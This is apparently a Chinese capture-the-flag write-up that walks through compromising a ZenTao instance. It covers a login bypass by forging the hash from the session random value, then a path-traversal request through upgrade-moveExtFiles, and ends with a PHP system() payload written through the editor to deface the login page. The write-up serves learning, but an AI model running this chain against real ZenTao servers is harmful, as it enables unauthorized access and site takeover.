太菜了,最后还是差一点,发现题目前台和我们想象中的不一样,后台已经 RCE 了,但是前台没过,上台直接汗流浃背了
前台鉴权绕过 先来看一下题目给的 deploy
1 2 3 4 5 6 7 8 9 10 11 2. 题目仅做过如下改动 /opt/zbox/bin/mysql -u root -P 3306 -p123456 -e "drop database zentaoep;drop database zentaomax;" /opt/zbox/bin/mysql -u root -P 3306 -p123456 -e "use zentao;update zt_user SET password='123abc' where account ='admin';" rm -rf /opt/zbox/app/zentaoep && rm -rf /opt/zbox/app/zentaomax && rm -rf /opt/zbox/app/adminer && rm -rf /opt/zbox/bin/htpasswd 3.题目部署方法(展台采用同样方式部署) docker load -i zentao.tar docker run -dit --name=zentao -p 30021:80 ctf2:latest docker exec -it zentao /opt/zbox/zbox restart
但是将环境起了之后,会发现用 admin/123abc 是没办法登录进去的
抓包之后的逻辑是在 /module/user
下的 control,login 方法,这里是 zentao 的路由处理。
跟进一下 identify()
函数,看一段代码就能看到最核心的鉴权部分了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 public function identify ($account , $password ) { if (!$account or !$password ) return false ; if (!validater::checkAccount ($account )) return false ; $record = $this ->dao->select ('*' )->from (TABLE_USER) ->where ('account' )->eq ($account ) ->beginIF (strlen ($password ) < 32 )->andWhere ('password' )->eq (md5 ($password ))->fi () ->andWhere ('deleted' )->eq (0 ) ->fetch (); $user = false ; $user = false ; if ($record ) { $passwordLength = strlen ($password ); if ($passwordLength < 32 ) { $user = $record ; } elseif ($passwordLength == 32 ) { $hash = $this ->session->rand ? md5 ($record ->password . $this ->session->rand) : $record ->password; $user = $password == $hash ? $record : '' ; } elseif ($passwordLength == 40 ) { $hash = sha1 ($record ->account . $record ->password . $record ->last); $user = $password == $hash ? $record : '' ; } if (!$user and md5 ($password ) == $record ->password) $user = $record ; } }
很明显这里的判断是有问题的,按照正常的逻辑来说,密码应该是从数据库里面去取,去比对的,但是,当 ($passwordLength == 32)
时,是让一个 hash 和密码进行比对,把这部分代码提取出来,看一下
1 2 3 4 5 elseif ($passwordLength == 32 ) { $hash = $this ->session->rand ? md5 ($record ->password . $this ->session->rand) : $record ->password; $user = $password == $hash ? $record : '' ; }
解读一下判断逻辑:
如果 session 里面存在 rand 字段,如果存在则把 password 与 rand 进行拼接,再 md5 一下,得到 hash。 如果 session 里面不存在 rand 字段,则直接把 passsword 的值赋给 hash。
随后比较 password 和 hash 是否相同。
$record->password
是我们已知的,为 123abc,目前其实只需要知道 rand 是什么,就可以伪造 hash 了,从而绕过鉴权 。
抓包看一下传参
1 account=admin&password=fe87780190a502d7eb5f743907918ee4&passwordStrength=0&referer=&verifyRand=1871116681&keepLogin=0&captcha=
其中有一个参数为 verifyRand ,对应代码里面的变量是 $rand
看一下是怎么来的
很明显,对应的函数是 refreshRandom,所以前端发起请求只需要通过 user-refreshRandom.html
即可,这里再跟进 updateSessionRandom 函数
随机数,不多讲了,赋值。
太简单了,但凡比赛的时候看一点都能出。
进了之后会让我重新修改密码,重新修改密码这里也需要按照上面的步骤再来一遍,再提交密码
后台 RCE 有点骚,一开始一直在找 patch 和 diff,没想到最新版也有这个问题
最大的问题是有一个任意文件创建的漏洞,对应接口 upgrade-moveExtFiles-1.html
来看一下源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 public function moveExtFiles ( ) { $data = fixer::input ('post' )->get (); $customRoot = $this ->app->appRoot . 'extension' . DS . 'custom' ; $response = array ('result' => 'success' ); foreach ($data ->files as $file ) { $dirRoot = $customRoot . DS . dirname ($file ); $fileName = basename ($file ); $fromPath = $this ->app->getModuleRoot () . $file ; $toPath = $dirRoot . DS . $fileName ; if (!is_dir ($dirRoot )) { if (!mkdir ($dirRoot , 0777 , true )) { $response ['result' ] = 'fail' ; $response ['command' ] = 'chmod o=rwx -R ' . $this ->app->appRoot . 'extension/custom' ; return $response ; } } copy ($fromPath , $toPath ); $this ->replaceIncludePath ($toPath ); } return $response ; }
里面存在“危险”的函数是 mkdir,其实本身这并不是一个危险函数,只是用在组合利用上面就成了危险函数。
漏洞利用也非常明确,值得一提的是本身的请求是 upgrade-moveExtFiles.html
,由于需要传一个 version 参数,所以需要加上 -1
这一步有什么用呢?来看后台 -> 二次开发 -> 编辑器
当你要修改文件的时候会遇到这个问题
所以这里就可以写入 ok.txt 绕过
1 files[0]=../../../../../../../../../opt/zbox/app/zentao/www/data/ok.txt
随后就可以使用编辑器进行 shell 的写入了,首页的界面是 /zentao/editor-save-L29wdC96Ym94L2FwcC96ZW50YW8vbW9kdWxlL3VzZXIvdmlldy9sb2dpbi5odG1sLnBocA-edit.html
,参数是 b64 过去的
直接在编辑器里面写黑页
1 2 3 <?php system ('echo "Hacked By Nepnep" > /opt/zbox/app/zentao/module/user/view/login.html.php' )?>
即可
小结 难受了,不过也学到了很多